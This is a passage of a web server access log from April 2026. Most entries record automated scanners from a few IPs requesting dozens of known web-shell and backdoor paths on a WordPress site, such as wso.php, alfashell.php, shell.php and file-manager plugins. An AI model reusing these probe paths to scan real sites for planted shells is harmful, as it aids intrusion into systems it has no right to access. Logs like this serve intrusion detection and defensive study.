/admin.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:49:29 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:50:12 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:50:45 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:50:49 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:50:52 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:50:55 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:55:38 +0300] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:58:07 +0300] "GET /cache.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:58:10 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:58:10 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:58:11 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:58:14 +0300] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:58:17 +0300] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:58:17 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:58:19 +0300] "GET /o.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:58:33 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:58:35 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:49:14 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:50:17 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:50:20 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:50:23 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:50:24 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:50:24 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:50:28 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:52:31 +0300] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:52:35 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:52:35 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:56:01 +0300] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:56:01 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:56:05 +0300] "GET /wp-includes/blocks/shortcode/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:56:08 +0300] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:56:08 +0300] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:56:09 +0300] "GET /an.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:56:39 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:56:40 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:56:40 +0300] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:57:43 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 183.110.216.129 - - [20/Apr/2026:17:26:52 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 132.196.3.209 - - [20/Apr/2026:16:50:34 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:50:37 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:50:37 +0300] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:50:40 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:53:22 +0300] "GET /cah.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:54:55 +0300] "GET /abc.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:56:24 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:56:24 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:56:54 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:57:51 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:57:58 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:57:59 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:57:59 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:59:31 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:59:35 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:55:09 +0300] "GET /akcc.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:55:17 +0300] "GET /wk/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:55:46 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:55:46 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:58:43 +0300] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:58:46 +0300] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:58:49 +0300] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:58:53 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:58:56 +0300] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:58:56 +0300] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:58:58 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:59:00 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 45.131.195.134 - - [20/Apr/2026:17:14:44 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 132.196.3.209 - - [20/Apr/2026:16:54:31 +0300] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:57:03 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:58:28 +0300] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:59:09 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:52:49 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:55:30 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:55:56 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:56:33 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:56:34 +0300] "GET /wp-content/uploads/goods.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:56:47 +0300] "GET /sf.php HTTP/1.1" 301 795 "-" "-" 49.51.183.84 - - [20/Apr/2026:20:06:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 216.106.185.13 - - [20/Apr/2026:20:33:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 156.67.27.119 - - [20/Apr/2026:20:27:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 156.67.27.119 - - [20/Apr/2026:20:27:46 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 165.22.232.55 - - [20/Apr/2026:21:34:02 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 165.22.232.55 - - [20/Apr/2026:21:34:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 43.157.46.118 - - [20/Apr/2026:21:01:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 54.174.58.242 - - [20/Apr/2026:21:09:00 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; HubSpot Crawler; +https://www.hubspot.com) Chrome/131.0.0.0 Safari/537.36" 64.89.160.79 - - [20/Apr/2026:21:42:08 +0300] "GET /plupload/examples/upload.php HTTP/1.1" 301 795 "-" "ALittle Client" 51.11.245.223 - - [20/Apr/2026:23:23:09 +0300] "GET /wp-includes/blocks/details/ HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:23:09 +0300] "GET /.dj/index.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:23:45 +0300] "GET /wp-m57.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:23:52 +0300] "GET /vuln.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:24:05 +0300] "GET /sxdfrt.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:24:45 +0300] "GET /xmu.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:31:19 +0300] "GET /no18.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:31:58 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:34:38 +0300] "GET //aa.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:37:33 +0300] "GET //admin1.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:40:33 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:40:48 +0300] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:22:56 +0300] "GET /gold.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:25:28 +0300] "GET /xmini.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:25:32 +0300] "GET /2468.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:25:36 +0300] "GET //wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:26:52 +0300] "GET /popo.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:26:55 +0300] "GET /13.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:27:04 +0300] "GET /11.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:30:31 +0300] "GET /111.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:30:44 +0300] "GET /aligk.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:30:54 +0300] "GET /byrgo.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:32:10 +0300] "GET /uuu.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:36:59 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:36:59 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:38:01 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:38:01 +0300] "GET //wp-content/uploads/2021/02/index.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:38:22 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:39:48 +0300] "GET /gssdd.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:40:03 +0300] "GET //cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:40:59 +0300] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:41:44 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:42:38 +0300] "GET /file18.php HTTP/1.1" 301 795 "-" "-" 49.235.136.28 - - [20/Apr/2026:22:29:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 35.172.182.213 - - [20/Apr/2026:23:09:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36" 51.11.245.223 - - [20/Apr/2026:23:23:38 +0300] "GET /sw.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:25:51 +0300] "GET /amdin.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:25:54 +0300] "GET /huya.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:26:12 +0300] "GET /ewp.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:26:34 +0300] "GET /lupo.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:27:54 +0300] "GET /seo.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:30:25 +0300] "GET /2026w.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:31:27 +0300] "GET /fine.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:31:40 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:31:46 +0300] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:32:22 +0300] "GET /w2025.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:32:41 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:33:34 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:33:53 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:36:38 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:36:54 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:36:54 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:39:09 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:42:08 +0300] "GET /file21.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:23:02 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:23:58 +0300] "GET /wp-temp.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:25:18 +0300] "GET /mode.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:26:06 +0300] "GET //themes.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:26:21 +0300] "GET /kikikoko.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:26:24 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:26:24 +0300] "GET /xff.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:28:31 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:28:49 +0300] "GET /4.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:35:09 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:37:23 +0300] "GET /wp-michan.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:41:58 +0300] "GET /ew.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:42:49 +0300] "GET /xwx1.php HTTP/1.1" 301 795 "-" "-" 35.172.182.213 - - [20/Apr/2026:23:09:39 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36" 51.11.245.223 - - [20/Apr/2026:23:22:46 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:25:23 +0300] "GET /Xx.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:27:12 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:29:08 +0300] "GET /6.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:29:19 +0300] "GET /9.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:31:13 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 89.125.32.217 - - [20/Apr/2026:23:31:22 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 51.11.245.223 - - [20/Apr/2026:23:32:36 +0300] "GET /fvvff.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:32:52 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 193.233.193.9 - - [20/Apr/2026:23:35:33 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 51.11.245.223 - - [20/Apr/2026:23:35:54 +0300] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:36:09 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:36:10 +0300] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:36:18 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:36:22 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:36:25 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:37:03 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:37:03 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:37:13 +0300] "GET /alpha.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:37:55 +0300] "GET /wp-admin/js/fi.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:39:20 +0300] "GET //wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:39:37 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:41:29 +0300] "GET /file48.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:41:49 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:41:49 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:42:23 +0300] "GET /hypo.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:23:28 +0300] "GET /m57.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:24:20 +0300] "GET /bhm.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:24:27 +0300] "GET /xozx.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:24:56 +0300] "GET /ref.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:24:58 +0300] "GET /wp-xme.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:25:46 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:25:59 +0300] "GET /puc.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:28:19 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:28:22 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:28:53 +0300] "GET /5.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:30:00 +0300] "GET /.well-known/nastar.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:32:03 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:33:17 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:34:09 +0300] "GET //inputs.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:34:23 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:34:53 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:35:00 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:36:46 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:37:45 +0300] "GET //wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:37:45 +0300] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:23:20 +0300] "GET /wp-includes/blocks/audio/ HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:23:20 +0300] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:24:36 +0300] "GET /wp-Blogs.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:25:04 +0300] "GET /adminer.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:27:22 +0300] "GET //wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:27:22 +0300] "GET /bthil.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:27:32 +0300] "GET //shell.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:27:47 +0300] "GET /tea.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:28:41 +0300] "GET /3.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:30:15 +0300] "GET /f35_S.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:30:36 +0300] "GET /wp1.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:30:59 +0300] "GET //xwpg.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:31:05 +0300] "GET /ass.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:31:34 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:32:15 +0300] "GET /no1.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:33:39 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:35:21 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:37:51 +0300] "GET //wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:37:51 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:37:51 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:39:25 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:39:25 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:39:28 +0300] "GET /dev.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:39:32 +0300] "GET /bal.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:41:05 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:41:15 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:43:04 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:43:04 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:24:12 +0300] "GET /wp-content/themes/twentytwentyfive/assets/ HTTP/1.1" 301 795 "-" 